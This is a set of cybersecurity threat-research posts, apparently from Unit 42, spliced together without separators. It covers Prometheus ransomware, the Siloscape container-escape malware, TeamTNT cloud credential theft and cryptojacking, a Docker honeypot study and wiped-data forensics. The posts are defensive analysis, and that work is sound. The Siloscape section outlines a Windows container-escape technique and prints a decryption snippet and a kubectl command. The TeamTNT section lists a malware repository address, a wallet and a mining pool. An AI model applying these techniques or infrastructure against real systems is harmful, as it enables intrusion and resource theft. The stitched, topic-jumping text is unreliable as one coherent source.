Some of the observed samples, when executed, opened a Windows Command Shell showing the encryption progress (Figure 9). The most recent Prometheus samples do not display this information.
Figure 9. Encryption progress window.
Another variant (SHA256: 11aebdff8c064c160c2b21f3a844bacaecd581d9dc2e4224d31903d2a56e2dd3) appended the .XXXXXXXXXX[prometheusdec@yahoo[.]com] extension format to encrypted files where the X is the victim ID. Like the current variant, it generates two ransom note files. The ransom note includes two ways to contact the group that are different from those offered by the current variant (Figure 10). Based on the content and instructions provided by this variant, we believe Prometheus didn’t have a leak site established at the time they distributed it.
Figure 10. RESTORE_FILES_INFO.hta (as sent by an older Prometheus variant).
Instead of directing the victim to the leak site as the current variant does, the older variant of Prometheus instructs the victim to go to a Tor site called Sonar, a web-based messaging service, and create an account. After the account is created, the ransom note instructs the victim to send a message to the username Prometheus, containing the file extension identifier and a link to three encrypted files to provide proof of decryption. The second method of contact is through email and includes three email addresses for contact, requesting the same information as the first method.
This helps us understand how the Prometheus ransomware group originally operated and shows the evolution of their approach to securing payment before deciding to start their own leak site.
Conclusion
Prometheus is a new and emerging ransomware gang that uses a personalized variant of Thanos ransomware. The operators behind this ransomware are actively targeting multiple industries globally. Like many other ransomware groups, Prometheus hosts a leak site to create additional pressure and shame victims into paying the ransom. While Prometheus claims to be part of the REvil ransomware gang, during our research, we didn’t find a solid connection between the two ransomware groups at the time of writing this report.
Indicators associated with this Threat Assessment are available on GitHub, have been published to the Unit 42 TAXII feed and are viewable via the ATOM Viewer.
Palo Alto Networks customers are protected from this threat by:
WildFire: All known samples are identified as malware.
This section documents relevant tactics, techniques and procedures (TTPs) used with Prometheus and maps them directly to Palo Alto Networks product(s) and service(s). It also further instructs customers on how to ensure their devices are configured correctly.
Product / Service
Course of Action
Persistence, Privilege Escalation
The below courses of action mitigate the following techniques:
Look for the following BIOCs alerts to detect activity*:
Cortex XDR Agent - Behavioral Threat Detected
Table 1. Courses of Action for Prometheus ransomware. * These analytic detectors will trigger automatically for Cortex XDR Pro customers.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
In March 2021, I uncovered the first known malware targeting Windows containers, a development that is not surprising given the massive surge in cloud adoption over the past few years. I named the malware Siloscape (sounds like silo escape) because its primary goal is to escape the container, and in Windows this is implemented mainly by a server silo.
Siloscape is heavily obfuscated malware targeting Kubernetes clusters through Windows containers. Its main purpose is to open a backdoor into poorly configured Kubernetes clusters in order to run malicious containers.
Compromising an entire cluster is much more severe than compromising an individual container, as a cluster could run multiple cloud applications whereas an individual container usually runs a single cloud application. For example, the attacker might be able to steal critical information such as usernames and passwords, an organization’s confidential and internal files or even entire databases hosted in the cluster. Such an attack could even be leveraged as a ransomware attack by taking the organization's files hostage. Even worse, with organizations moving to the cloud, many use Kubernetes clusters as their development and testing environments, and a breach of such an environment can lead to devastating software supply chain attacks.
Siloscape uses the Tor proxy and an .onion domain to anonymously connect to its command and control (C2) server. I managed to gain access to this server. We identified 23 active Siloscape victims and discovered that the server was being used to host 313 users in total, implying that Siloscape was a small part of a broader campaign. I also discovered that this campaign has been taking place for more than a year.
This report provides background on Windows container vulnerabilities, gives a technical overview of Siloscape and offers recommendations on best practices for securing Windows containers.
Palo Alto Networks customers are protected from this threat with Prisma Cloud’s Runtime Protection features.
Windows Server Container Vulnerabilities Overview
On July 15, 2020, I released an article about Windows container boundaries and how to break them. In that article, I presented a technique for escaping from a container and discussed some potential applications that such an escape can have in the hands of an attacker. The most significant application, and the one I chose to focus on, was an escape from a Windows container node in Kubernetes in order to spread in the cluster.
Microsoft originally didn’t consider this issue a vulnerability, based on the reasoning that Windows Server containers are not a security boundary, and therefore each application that is being run inside a container should be treated as if it is executed directly on the host.
A few weeks after that discussion, I reported the issue to Google because Kubernetes is vulnerable to those issues. Google contacted Microsoft, and after some back and forth, it was determined by Microsoft that an escape from a Windows container to the host, when executed without administrator permissions inside the container, will in fact be considered a vulnerability.
Following this, I discovered Siloscape, which is malware that actively attempts to exploit Windows Server containers in the wild. Siloscape is heavily obfuscated malware targeting Kubernetes through Windows containers (using Server Containers and not Hyper-V). Its main purpose is to open a backdoor into poorly configured Kubernetes clusters in order to run malicious containers such as, but not limited to, cryptojackers.
The malware is characterized by several behaviors and techniques:
Targets common cloud applications such as web servers for initial access, using known vulnerabilities (“1-days”) – presumably those with a working exploit in the wild.
Uses Windows container escape techniques to escape the container and gain code execution on the underlying node.
Attempts to abuse the node's credentials to spread in the cluster.
Connects to its C2 server using the IRC protocol over the Tor network.
Waits for further commands.
This malware can leverage the computing resources in a Kubernetes cluster for cryptojacking and potentially exfiltrate sensitive data from hundreds of applications running in the compromised clusters.
Investigating the C2 server showed that this malware is just a small part of a larger network and that this campaign has been taking place for over a year. Furthermore, I confirmed that this specific part of the campaign was online with active victims at the time of writing.
Technical Overview
Before diving into the technical details of Siloscape, it is important to get a better understanding of its overall behavior and flow.
Figure 1. Execution flow of Siloscape.
The attacker achieves remote code execution (RCE) inside a Windows container using a known vulnerability or a vulnerable web page or database.
The attacker executes Siloscape (CloudMalware.exe) with the necessary C2 connection information provided as command line arguments (and not hardcoded inside the binary).
Siloscape impersonates CExecSvc.exe to obtain SeTcbPrivilege privileges (this technique is described in detail in my previous article).
Siloscape creates a global symbolic link to the host, practically linking its containerized X drive to the host’s C drive.
Siloscape searches for the kubectl.exe binary by name and the Kubernetes config file by regular expression on the host, using the global link.
Siloscape checks if the compromised node has enough privilege to create new Kubernetes deployments.
Siloscape extracts the Tor client to the disk from an archived file using an unzip binary. Both files are packed into the main Siloscape binary.
Siloscape connects to the Tor network.
Using the provided command line argument, Siloscape decrypts the C2 server’s password.
Siloscape connects to the C2 server using an .onion domain (a domain accessible through the Tor network) provided as a command line argument.
Siloscape waits for commands from the C2 and executes them.
Unlike other malware targeting containers, which are mostly cryptojacking-focused, Siloscape doesn’t actually do anything that will harm the cluster on its own. Instead, it focuses on being undetected and untraceable and opens a backdoor to the cluster.
Defense Evasion and Obfuscation
Siloscape is heavily obfuscated. There are almost no readable strings in the entire binary. While the obfuscation logic itself isn’t complicated, it made reversing this binary frustrating.
Figure 2. Strings obfuscation as it looks in Interactive Disassembler (IDA).
Even simple API calls were obfuscated, and instead of just calling the functions, Siloscape made the effort to use the Native API (NTAPI) version of the same function.
Figure 3. Dynamic search of functions in ntdll.dll.
For example, instead of calling CreateFile, Siloscape calls NtCreateFile. Instead of calling NtCreateFile directly, Siloscape calls it dynamically, meaning it searches for the function name in ntdll.dll at runtime and jumps to its address. Not only that, but it also obfuscates the function and module names and deobfuscates them only at runtime. The end result is malware that is very difficult to detect with static analysis tools and frustrating to reverse engineer.
Siloscape uses a pair of keys to decrypt the C2 server’s password. One of the most important features of its obfuscation is that one key is hardcoded into the binary, while the other is supplied as a command line argument. I searched for its hash in multiple engines, such as AutoFocus and VirusTotal, and couldn’t find any results. This led me to believe that Siloscape is being compiled uniquely for each new attack, using a unique pair of keys. The hardcoded key makes each binary a little bit different than the rest, which explains why I couldn’t find its hash anywhere. It also makes it impossible to detect Siloscape by hash alone.
Figure 4. Siloscape using Visual Studio Resource Manager.
Another interesting technique this malware uses is Visual Studio’s Resource Manager. This is a feature built into Visual Studio that allows one to attach basically any file to the original binary and get a pointer to its data with a few simple API calls. Siloscape uses this method to write the Tor archive to the disk, as well as the unzip binary used to open the archive. It also uses Tor to securely connect to its C2.
The Container Escape
One of the more interesting things about Siloscape is the way it escapes the container. To execute the system call NtSetInformationSymbolicLink that enables the escape, one must gain SeTcbPrivilege first. There are a few ways to do this. For example, in my tests, I injected a DLL into CExecSvc.exe, which has the relevant privileges, and executed NtSetInformationSymbolicLink from the CExecSvc.exe context. Siloscape, however, uses a technique called Thread Impersonation. This method has little documentation online and even fewer working examples. The most critical function for this technique is the undocumented system call NtImpersonateThread.
Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container. More specifically, it links its local containerized X drive to the host’s C drive.
Choosing the Cluster
After Siloscape creates a link to the host, it will search for two specific files: kubectl.exe and the Kubernetes config file, which normally exists on Kubernetes nodes.
Figure 5. Siloscape searches for the kubectl.exe binary.
Siloscape searches for kubectl.exe by name and the config file using a regular expression. The search function takes an extra argument: a pointer to a vector that holds folder names to exclude from the search.
Figure 6. Siloscape searches for the config file by regular expression.
When it calls FindFile to search for the above files, it excludes the folders Program Files, Program Files (x86), Windows and Users. It does this to make the search faster and because it is unlikely the previously mentioned files are in those folders. If both files are found, their paths are saved to a global variable. If the files are not located, Siloscape exits, abandoning the attack.
After Siloscape finds everything it needs to execute kubectl commands, it continues to check if the compromised node actually has enough permissions to use for the attacker’s malicious activities. It does this by executing the kubectl command %ls auth can-i create deployments --kubeconfig=%ls where the strings in the format are replaced by the paths it saved earlier as global variables.
Connecting to the C2 and Supported Commands
After getting everything it needs and checking that the compromised node is indeed capable of creating new deployments, Siloscape writes the Tor archive (ZIP) and an unzip binary to the host’s C drive. After extracting Tor, it launches tor.exe to a new thread and waits for it to finish by checking the Tor thread output.
After Tor is up and running, Siloscape uses it to connect to its C2 – an IRC server, using an onion address that was provided as a command line argument.
The server is password-protected. Siloscape uses its first command line argument to decrypt the password by a simple byte by byte XOR. The following is a simplified version of the C2 server’s password decryption:
char hardCodedXor[32] = "HARD_CODED_32_LONG_STRING"; char ircPass[32] = { 0 }; for (int i = 0; i < 32; i++) ircPass[i] = hardCodedXor[i] ^ argv[1][i];
Once successfully connected to the IRC server, it issues a JOIN#WindowsKubernetes command to join the WindowsKubernetes IRC channel and then idles there.
Siloscape allows two types of instructions, one for kubectl supported commands and one for regular Windows cmd commands.
Figure 7. Siloscape comparing the sender’s username to admin.
It waits for a private message. If one from a user named admin is received, Siloscape follows the following logic:
If the message starts with a K, it executes a kubectl command to the cluster using the paths it found earlier by running the command %ls %s --kubeconfig=%ls where:
The first parameter is the global variable of the kubectl’s path.
The second parameter is the message from the admin minus the first character.
The third parameter is the global variable of the config’s path.
If the message starts with a C, it simply runs the command minus the first character as a regular Windows cmd command.
Command and Control
After I reversed the malware, especially the part that handles the C2, I wanted to discover whether this campaign was still up and running.
I set up a brand new virtual machine, downloaded Tor and started looking for an IRC client that supports SOCKS5, the proxy protocol that is needed in order to connect through Tor. IRC is a very old protocol and is less popular today than it was 20 years ago. Furthermore, IRC came out almost a decade before SOCKS5. I found HexChat, a simple, lightweight IRC client that supports both SOCKS5 and connecting to onion domains.
When our Silospace sample was originally executed, its command line argument for the IRC username was php_35, so I decided to use this username when connecting to the C2 server from HexChat, thinking it would appear legitimate to the attacker.
Figure 8. #WindowsKubernetes channel active victims.
I connected to the server and discovered it was still working. I joined #WindowsKubernetes just like Siloscape does. There were 23 active victims there and a channel operator named admin.
Figure 9. C2 server shutting down.
Unfortunately, after about two minutes, I was noticed and kicked out of the server. Two minutes after that, the server was no longer active – at least not at the original onion domain I used.
What Can We Learn?
When I went over my findings, the first thing that came to mind is that there were many more active users on the C2 server than I actually saw in the #WindowsKubernetes channel – 313 users in total, to be exact. This implies that the Siloscape malware was just a small part of a bigger campaign.
Sadly, when I connected to the server, the channels list was empty, indicating that the server was configured to not reveal its channels. Therefore, I couldn’t get more information from the channel names.
The second and more important detail that stood out was the convention used for the victims’ names. Our name was php_35, and when our sample of Siloscape first executed, it indeed was executed through a vulnerable php instance. The other names clearly suggest the way the attacker managed to achieve code execution (sqlinj probably means SQL injection):
The last piece of information I was able to obtain from the C2 is the creation date of the server: Jan. 12, 2020. Note that this doesn’t necessarily mean that Siloscape was created on that date. Instead, it’s likely the campaign started at that time.
Conclusion
Unlike most cloud malware, which mostly focuses on resource hijacking and denial of service (DoS), Siloscape doesn’t limit itself to any specific goal. Instead, it opens a backdoor to all kinds of malicious activities.
As discussed in my last article, users should follow Microsoft’s guidance recommending not to use Windows containers as a security feature. Microsoft recommends using strictly Hyper-V containers for anything that relies on containerization as a security boundary. Any process running in Windows Server containers should be assumed to have the same privileges as admin on the host, which in this case is the Kubernetes node. If you are running applications in Windows Server containers that need to be secured, we recommend moving these applications to Hyper-V containers.
Furthermore, administrators should make sure their Kubernetes cluster is securely configured. In particular, a secured Kubernetes cluster won’t be as vulnerable to this specific malware as the nodes’ privileges won’t suffice to create new deployments. In this case, Siloscape will exit.
Siloscape shows us the importance of container security, as the malware wouldn’t be able to cause any significant damage if not for the container escape. It is critical that organizations keep a well-configured and secured cloud environment to protect against such threats.
Existing Prisma Cloud capabilities will successfully detect and mitigate the Siloscape malware.
Figure 10. Choosing action for unexpected processes on Prisma Cloud.
Prisma Cloud’s Runtime Protection feature learns the machine’s behavior and creates a set of rules for processes. Once the learning is complete, the user can choose the action for new, unexpected processes attempting to execute. The user can choose to alert, prevent or completely block the execution.
TeamTNT has been evolving their cloud-focused cryptojacking operations for some time now. TeamTNT operations have targeted and, after compromise, exfiltrated AWS credentials, targeted Kubernetes clusters and created new malware called Black-T that integrates open source cloud native tools to assist in their cryptojacking operations. TeamTNT operations are now using compromised AWS credentials to enumerate AWS cloud environments, via the AWS platform’s API. These actions attempt to identify all Identity and Access Management (IAM) permissions, Elastic Compute Cloud (EC2) instances, Simple Storage Service (S3) buckets, CloudTrail configurations and CloudFormation operations granted to the compromised AWS credential. TeamTNT operations are now also targeting the credentials of 16 additional applications, including those of AWS and Google Cloud credentials, which may be stored on the compromised cloud instance, if installed.
The presence of Google Cloud credentials being targeted for collections represents the first known instance of an attacker group targeting IAM credentials on compromised cloud instances outside of AWS. While it is still possible that Microsoft Azure, Alibaba Cloud, Oracle Cloud or IBM Cloud IAM credentials could be targeted using similar methods, Unit 42 researchers have yet to find evidence of credentials from these cloud service providers (CSPs) being targeted. TeamTNT first started collecting AWS credentials on cloud instances they had compromised as early as August 2020.
In addition to the targeting of 16 application credentials from cloud applications and platforms, TeamTNT has added the usage of the open-source Kubernetes and cloud penetration toolset Peirates to their reconnaissance operations. With these techniques available, TeamTNT actors are increasingly more capable of gathering enough information in target AWS and Google Cloud environments to perform additional post-exploitation operations. This could lead to more cases of lateral movement and potential privilege escalation attacks that could ultimately allow TeamTNT actors to acquire administrative access to an organization’s entire cloud environment.
That said, TeamTNT operations are still focused on cryptojacking. The TeamTNT cryptojacking operations represented within this writing have collected 6.52012192 Monero coins, which at the time of this writing equaled $1,788 USD. The mining operation was found to be operating at an average speed of 77.7KH/s across eight mining workers. Operations using this Monero wallet address have continued for 114 days as of the time of this writing.
Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives. Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.
Enumeration Techniques
Unit 42 researchers identified one of TeamTNT’s malware repositories, hxxp://45.9.148[.]35/chimaera/sh/, which contained several bash scripts designed to perform cryptojacking operations, exploitation, lateral movement and credential scraping operations, as shown in Figure 1. This malware repository, referred to as the Chimaera Repository, highlights the expanding scope of TeamTNT operations within cloud environments as well as a target set for current and future operations.
Figure 1. TeamTNT’s Chimaera Repository.
Within the Chimaera repository, there were three scripts that specifically highlight TeamTNT’s expanding cloud targeting capabilities and intent. The first script is grab_aws-data.sh, (SHA256: a1e9cd08073e4af3256b31e4b42f3aa69be40862b3988f964e96228f91236593), which focuses on enumerating AWS cloud environments using known AWS IAM credentials. The second script, bd_aws.sh, (SHA256: de3747a880c4b69ecaa92810f4aac20fe5f6d414d9ced29f1f7ebb82cd0f3945) scrapes all known Secure Shell Protocol (SSH) keys from an AWS instance and identifies all executable programs currently running on that instance. Finally, the script search.sh (SHA256: ed40bce040778e2227c869dac59f54c320944e19f77543954f40019e2f2b0c35) performs a search for configuration files containing application credentials stored on a given host. These scripts are newly discovered and directly highlight the targeting of cloud native applications within both AWS and Google Cloud environments.
Enumerating AWS Environments
The bash script, grab_aws-data.sh, contains 70 unique AWS CommandLine Interface (AWS CLI) commands designed to enumerate seven AWS services, IAM configurations, EC2 instances, S3 buckets, support cases and direct connections, in addition to any CloudTrail and CloudFormation operations available to a given AWS IAM credential. As seen in Figure 2, all enumerated values obtained through the AWS enumeration process will be stored within the local directory /var/tmp/.../...TnT.../aws-account-data/ on the compromised system.
Figure 2. TeamTNT’s grab_aws.sh script.
Navigate to the Appendix for a list of all 70 unique AWS CLI commands present within the TeamTNT script grab_aws-data.sh. As a summary, the TeamTNT script contained commands for the following seven AWS services:
44 EC2 instance commands.
14 IAM commands.
4 Direct Connect commands.
4 CloudFormation commands.
2 CloudTrail commands.
1 S3 command.
1 Support command.
Credential Scraping
TeamTNT actors have also expanded their credential scraping capabilities to include the identification and collection of 16 unique applications, which may be present on the compromised cloud endpoint and for any of the known user accounts on the cloud instance, including the root account. There has been additional research involving this particular script. These applications were listed within the script search.sh:
Several of these applications are noteworthy. The presence of Google Cloud credentials tops the list as this is the first known instance of an attacker group targeting IAM credentials outside of AWS (see Figure 3). It is possible that Microsoft Azure, Alibaba Cloud, Oracle Cloud or IBM Cloud environments could be targeted using similar techniques, but Unit 42 researchers have yet to find evidence of these CSPs being targeted. Researchers believe that it is only a matter of time before TeamTNT will develop functionality similar to that of grab_aws-data.sh described above, but targeting Google Cloud environments.
Figure 3. TeamTNT’s search.sh script searching for Google Cloud credentials.
Lateral Movement Operations
In addition to the 16 applications listed above, the following applications are specifically targeted for lateral movement operations.
Weaveworks
Within the search.sh script, there are several applications identified which display evolving attack patterns for TeamTNT operations. Within the Chimaera repository, Unit 42 researchers identified several scripts that single out specific applications. One of those applications is Weaveworks (see Figure 4). Weave is a microservice network mesh application developed for container infrastructures such as Docker and Kubernetes, and allows for microservices to be running on one or multiple hosts while simultaneously maintaining network connectivity. By targeting Weave installations, TeamTNT operations have the potential to move laterally within a container infrastructure using the Weave network mesh application. As can be seen within the base64 encoded code in the script setup_scope.sh, (SHA256: 584c6efed8bbce5f2c52a52099aafb723268df799f4d464bf5582a9ee83165c1), TeamTNT is targeting Docker user accounts that contain Weave container information.
Figure 4. TeamTNT script setup_scope.sh base64 decode code.Figure 5. Local Docker image creation for Monero mining.
Project Jupyter
Additionally, the Project Jupyter application is listed as a target of TeamTNT operations through two sources within the Chimaera repository, first within the search.sh script as the target for credential scraping, and as a beta lateral movement script, spread_jupyter_tmp.sh (SHA256: 0d7912e62bc663c9ba6bff21ae809e458b227e3ceec0abac105d20d5dc533a22).
Unit 42 researchers also found reference to Project Jupyter within a known TeamTNT actor’s Twitter account. The Twitter account, @HildeTnT, posted the following image (Figure 6) on their Twitter feed, replying to a potentially compromised Jupyter endpoint. The German-language text translates to “Hahaha we take that as a compliment ^^ btw blocking the shell alone brings 0% security …” The presence of this Twitter exchange highlights the fact that TeamTNT is actively using the scripts listed within the Chimaera repository and targeting these additional cloud applications.
Figure 6. TeamTNT actor replying to a message from a potentially compromised Jupyter endpoint.
Peirates
Unit 42 researchers have identified that TeamTNT actors are using the open source container and cloud penetration tool Peirates. As seen in Figure 7, Peirates allows actors to perform several attack functions against AWS and Kubernetes instances. This tool could enable TeamTNT actors to investigate and identify misconfigurations or potential vulnerabilities within Kubernetes and Cloud environments and could allow TeamTNT to perform additional compromising actions against cloud infrastructure.
Figure 7. Peirates penetration testing options.
Monero Mining Operations
TeamTNT operations are still focused on cryptojacking. The previous sections presented the findings of new techniques used by TeamTNT actors to expand their cryptojacking infrastructure. The following section will focus on the findings related to the processes of mining applications TeamTNT uses to perform their cryptojacking operations.
Local Docker Image
Of interest is the script file docker.container.local.spread.txt, which lists the name of a local Docker image, as shown in Figure 8. The Docker image is a local Docker image, meaning it is not hosted and downloaded from an external docker repository such as Docker Hub. Researchers did search Docker Hub for the presence of this Docker image and none were found.
Figure 8. Contents of the docker.container.local.spread.txt.
The Docker container is created to provide a host for TeamTNT’s Monero (XMR) mining operation. Shown in Figure 5, a Docker image is created with the name mangletmpuser/fcminer. This image is then started and directed to navigate to the Chimaera repository file setup_xmr.sh, (SHA256: 5ddd226d400cc0b49d0175ba06a7e55cb2f5e9586111464bcf7b3bd709417904), which will initiate the Docker cryptomining process, using the open source XMRig application within a Docker container.
New Monero Wallet
Unit 42 researchers identified a new Monero wallet address that has never before been witnessed in relation to TeamTNT operations, 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmAUrFd3H. This Monero wallet address was associated with the Monero public mining pool pool.supportxmr[.]com:3333, as shown in Figure 9.
Figure 9. SupportXMR public mining pool configuration.In Figure 10, this mining pool address displays that the TeamTNT mining operation has collected 6.52012192 Monero coins, which at the time of this writing equaled $1,788 USD. The mining operation was found to be operating at 77.7KH/s, across eight mining workers at the time of this writing, and operations using this Monero wallet address have continued for 114 days. At an operating speed of 77.7KH/s, this operation is considered to be a small mining operation for a group like TeamTNT.
Figure 10. SupportXMR mining pool dashboard.
Conclusion
Given TeamTNT’s integration of tools such as Peirates, their targeting of cloud native network mesh applications such as Weave, their operations around Kubernetes and Black-T, and their targeting and subsequent taunting of organizations using Project Jupyter, TeamTNT actors are suspected to be employing all tools listed within this blog on a regular basis. TeamTNT actors are specifically targeting cloud platforms in an attempt to circumvent future security detection tools and embed themselves into the organization’s cloud environment.
We recommend that organizations operating with cloud environments monitor for and block all network connections associated with TeamTNT’s Chimaera repository, as well as historic Command and Control (C2) endpoints. Using a cloud native security platform will significantly reduce the cloud infrastructure’s attack surface and allow organizations to monitor for risks.
The following tips are highly recommended by Unit 42 researchers to assist in the protection of cloud infrastructure.
Enforce least-privilege IAM access policies to all cloud IAM roles and permissions. Where applicable, use short-lived or one-time-use IAM credentials for service accounts.
Monitor and block network traffic to known malicious endpoints.
Only deploy vetted container images within production environments.
Implement and use Infrastructure as Code (IaC) scanning platforms to prevent insecure cloud instances from being deployed into production environments.
Use cloud infrastructure configuration scanning tools that enable governance, risk management and compliance (GRC) to identify potentially threatening misconfigurations.
Use cloud endpoint agents to monitor and prevent the running of known malicious applications within cloud infrastructure.
Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives. Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.
Lists all the managed policies that are available in your AWS account, including your own customer-defined managed policies and all AWS managed policies.
As part of our ongoing mission to assess and monitor cloud-related threats, we’ve deployed several types of honeypots and monitor them periodically. In this research, we will focus on a honeypot that mimics a misconfigured Docker daemon and explore the data obtained between March and April 2021, including 33 different kinds of attacks with a total of 850 attacks. More than 75% were cryptojacking attacks, and Kinsing was the most common malware with a total of 360 attacks. We will provide insights on how frequently the instance was attacked and detail the payloads. Some malicious images were involved in those activities, so we contacted the Docker security team to disclose them. The team responded quickly to remove the images from Docker Hub.
Misconfigured Docker daemons comprise a well-known security issue. Misconfigured daemons allow remote attackers to gain full control over a Docker instance and perform operations, such as deploying new containers and even escalating to the host. In the past, we found out there were 1,400 vulnerable Docker instances over the web and identified numerous cryptojacking malware that propagates using this security issue, such as Cetus, Pro-Ocean, Graboid and Black-T.
Palo Alto Networks customers running Prisma Cloud are protected from the malware mentioned above through Prisma Cloud Compute host compliance protection, which alerts on insufficient Docker daemon configuration, and via the Runtime Protection feature.
The Misconfiguration
Docker daemon exposes a restful API that allows users to interact with the daemon, which on default listens on a Unix socket. If remote access is required, the daemon can be configured to listen on a TCP socket. The issue is that there is no authentication or authorization mechanism by default when using a TCP socket. Anyone with access to the daemon can gain full privileges.
The Findings
Within a period of 50 days, we witnessed 33 different types of attacks out of a total of 850 attacks, which means the honeypot was attacked approximately every 90 minutes.
The attacks were frequent and made by many different threat actors. Attackers seem to acknowledge this and, in response, design their malware to identify rival counterparts and stop them, so that they will be the only malware in the system.
The majority of attacks were for cryptojacking purposes. Some of them only included a simple miner and some included sophisticated functionalities:
Hiding miner activity.
Stopping rival malware.
Propagating to other machines.
Gathering information.
Establishing a command and control (C2) communication.
Other attacks were only for gathering information and sending it to a remote server or deploying tools, such as a distributed denial-of-service (DDoS) agent or a botnet agent.
Figure 1. Attacks payloads.
Some attacks were more prevalent than others and, as seen in the chart below, Kinsing was the most common malware with a total of 360 attacks.
Figure 2. Top five common attacks.
Another interesting point is that from the five most common attacks, TeamTNT is in charge of three – Cetus, TeamTNT Botnet A and TeamTNT Botnet B.
Figure 3. TeamTNT Botnet B greeting.
The botnets are two different new variants with an end goal of deploying a botnet and a malicious cryptominer. They use TeamTNT’s common techniques, such as stealing AWS credentials and deploying ziggy (IRC agent).
Figure 4. Stealing AWS secrets.
One of the variants also has capabilities that allow it to propagate through misconfigured Docker instances. It scans the internet for misconfigured Docker instances and, once it finds one, it sends the vulnerable IP to a C2 server and propagates by executing a malicious image on the vulnerable instance.
We called the last common attack “Miner A” since we could not determine its operators. It’s a simple XMRig miner that mines Monero.
Conclusion
Misconfigured Docker daemons are a well-known security issue that have been around for years, and attackers continue to take advantage. When comparing the results of our honeypot a year ago to our most recent exercise in March - April 2021, we can determine that malware that targets the cloud is getting more prevalent as attackers understand the potential of the cloud environment.
Palo Alto Networks customers running Prisma Cloud are protected from the malware mentioned above through Prisma Cloud Compute host compliance protection, which alerts on insufficient Docker daemon configuration, and via the Runtime Protection feature.
Figure 6. Prisma Cloud host alert.
Indicators of Compromise
Find below the IOCs of the new malware we detected in this research.
Container Images
We contacted the Docker security team to disclose the images and they responded quickly and removed the images from Docker Hub.
It’s easy to assume deleting data from a computer is comparable to burning paper documents – what’s gone is gone. But is it?
There are many scenarios in which individuals would like data to be truly gone, potentially to hide a trail of criminal behavior. Yet others hope it’s recoverable, perhaps to piece together a trail of evidence.
Consider the following scenario:
An employee resigns and joins a competitor working on a similar product. The company suspects the employee shared proprietary information with her new company before resigning. However, the employee returned her laptop “wiped” of user data. In this state, what can the company learn about how the computer was used?
The question is whether digital evidence can be effectively and completely deleted or obfuscated. While some still assume otherwise, it’s becoming more widely understood that merely “deleting” data doesn’t necessarily mean it’s truly gone. Indeed, there are tools available that go beyond simple deletion to truly securely delete or wipe data.
To further muddy the waters, the term “wipe” can take on very different meanings. It might refer to simple deletion, reformatting a drive – or securely overwriting data numerous times, such that it is truly not recoverable.
Below, we look at how digital forensics can be used to determine the extent to which data has been wiped, as well as to recover digital evidence.
Using Digital Forensics to Recover Wiped Data
As digital forensic examiners, we have learned to always dig a little deeper when a computer is reported to have been “wiped.” There are often relevant answers or information our analysis can provide, even if only confirming when and how the wiping occurred. In many cases, however, we can recover deleted data and evidence of additional activity that helps reveal significant clues about how a computer was used.
In its simplest form, digital forensics is the collection, preservation, examination and analysis of data stored on digital media. A digital forensic examiner uses forensic methodologies that are reliable, repeatable and as minimally invasive to the data as possible, so that all actions and processes can stand up in a court of law.
Every action a user takes on a computer can leave a digital footprint. Digital forensics experts use tools and techniques to uncover these traces by looking at the data at its physical, or disk, level. For example, forensic analysis can pinpoint the time a user connected to a coffee shop’s WiFi, uncover chat history between two colleagues, identify external storage devices attached in the past and other actions. Forensics tells the story of how a user interacted with their device, especially when that user took steps to hide their tracks or delete data. In the digital world, what’s gone is often not truly gone.
Examples of Digital Forensics in Data Recovery Operations
Let’s look at two examples we encountered of how digital forensics told the story and uncovered malicious acts.
Example 1: Data Recovery Reveals Extensive Coverup of IP Theft
In the scenario described in the executive summary, digital forensics ultimately uncovered the theft of intellectual property and destruction of data. A forensics expert recovered fragments of previously deleted files and other essential forensic artifacts from the ex-employee’s laptop. Among the key findings, the forensic expert identified evidence that code reviews, rollout plans and other proprietary information were accessed from thumb drives while the laptop was connected to the network of a competitor (and the ex-employee’s new employer) days after she resigned.
The most damaging revelation was that digital forensics uncovered the considerable lengths to which she went to mass-delete files and cover her tracks. Just days prior to returning her laptop to her former employer, the ex-employee installed a remote access tool and received an incoming connection from an IP address that resolved to the remote location of an outsourced technician of the company, who was suspected of being a co-conspirator. Seconds after the successful incoming connection, mass deletions occurred on the laptop. Without the use of digital forensics, the company would never have found out about the illicit acts carried out by their ex-employee and the outsourced technician.
Example 2: Digital Forensics Proves File Theft
In another matter, a company suspected that a recently departed employee stole intellectual property right before he left, but they had no way to prove it. An initial review of the user’s Mac laptop found that most files and folders had been deleted. However, digital forensics proved that this ex-employee connected his work laptop to his personal iCloud account, synchronized several folders containing proprietary data and then deleted those same folders from the laptop just days before resigning. Experts analyzed forensic artifacts and system logs that captured historical records of those folders, the approximate time of the iCloud synchronization and subsequent deletions from the laptop. Forensic evidence revealed that the data was backed up to a personal time capsule around the same time. These findings supported the company counsel’s legal basis to request an examination of this ex-employee’s personal devices.
Conclusion
As these examples illustrate, just because data appears to be gone doesn’t mean that it really is. Digital forensics was used to recreate the story of how each of these individuals stole information from their employer and then took steps to destroy data and cover their tracks. It is likely that in both cases the perpetrators didn’t realize a forensic expert had the ability to retrace those footprints and uncover the truth.
Unit 42’s Incident Response team can help with data breaches and other cases that may require digital forensic analysis and investigations.
Sophisticated malware, such as Emotet and Sality, and advanced persistent threats (APTs), such as the recent SolarStorm attack, emphasize the necessity for advanced detection methods to identify novel, unknown types of malicious network traffic.
Current intrusion prevention systems (IPS) typically work based on signature matching and monitoring network traffic for known patterns in the data packets. Such static methods fall short in detecting unknown types of malware-generated network traffic, which calls for more advanced detection techniques that incorporate inspection of the overall packet structure, rather than specific static patterns.
In a blog on data leakage from Android apps, Unit 42 researchers demonstrated that unknown traffic types that leak sensitive user information could be detected using machine learning techniques.
